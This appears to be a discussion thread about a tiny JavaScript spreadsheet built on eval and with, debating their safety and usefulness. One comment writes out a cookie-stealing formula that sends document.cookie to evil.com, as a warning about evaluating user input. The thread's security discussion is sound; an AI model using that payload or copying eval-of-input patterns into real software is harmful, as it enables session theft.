A spreadsheet in fewer than 30 lines of JavaScript, no library used (jsfiddle.net)

    elm.onkeydown = function(evt) {
        evt = evt || window.event;
        var keyCode = evt.keyCode || evt.which;
        if (keyCode == '13') {
            var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
            document.getElementById(nextid).focus();
        }
    };

If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
    }

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
    }

In short, 'with' is pointy on both ends.

Consider the formula =A1+A2

inside the getter we have:

    with(DATA) eval('A1+A2');

    eval('DATA.A1+DATA.A2');

Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.

That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.

Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.

They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).

At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.

Sadly, I can't really run python in the browser.

It'd be a bit like saying that C is a great language because someone wrote a raytracer that fits on a business card[0] using it.

[0] http://fabiensanglard.net/rayTracing_back_of_business_card/

Note: This isn't criticism of your view nor am I taking sides. I am wondering --since you have a strong opinion on this front-- what you think the solution might look like.

I mean, are you looking at the idea of having something like python natively available at the browser?

At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.

> your meta-programming doesn't have to always be only eval and .bind in various incarnations

I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.

> unsafe, inconvenient and slow

Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.

> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope

"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.

> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.

> this doesn't make them great.

No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.

    // Take an array of context dictionaries, and return a                                                                                      
    // function that evaluates a string in those contexts.                                                                                      
    // I fully realize how horrible this code is, and that                                                                                      
    // it only supports up to ten contexts. I feel terrible                                                                                     
    // about it, as I should, but I would feel even worse                                                                                       
    // if it were impossible to do this. But isn't there                                                                                        
    // a simpler way to do this is JavaScript? Maybe I                                                                                          
    // could use __proto__ inheritence, but I was hoping                                                                                        
    // to avoid.                                                                                                                                
    function evalInContextsFunction(_contexts) {
        var _contextCount = _contexts.length;
        if (_contextCount == 0) {
            return function evalInContexts(_text) {return eval(_text)};
        }
        with (_contexts[0] || {}) {
            if (_contextCount == 1) {
                return function evalInContexts(_text) {return eval(_text)};
            }
            with (_contexts[1] || {}) {
                if (_contextCount == 2) {
                    return function evalInContexts(_text) {return eval(_text)};
                }

It would be nice if something like that existed, but with much richer features like the libraries above.

But 30 lines of code, what do you expect? Now imagine jQuery type library with a community of developers and you get... Google Docs :-p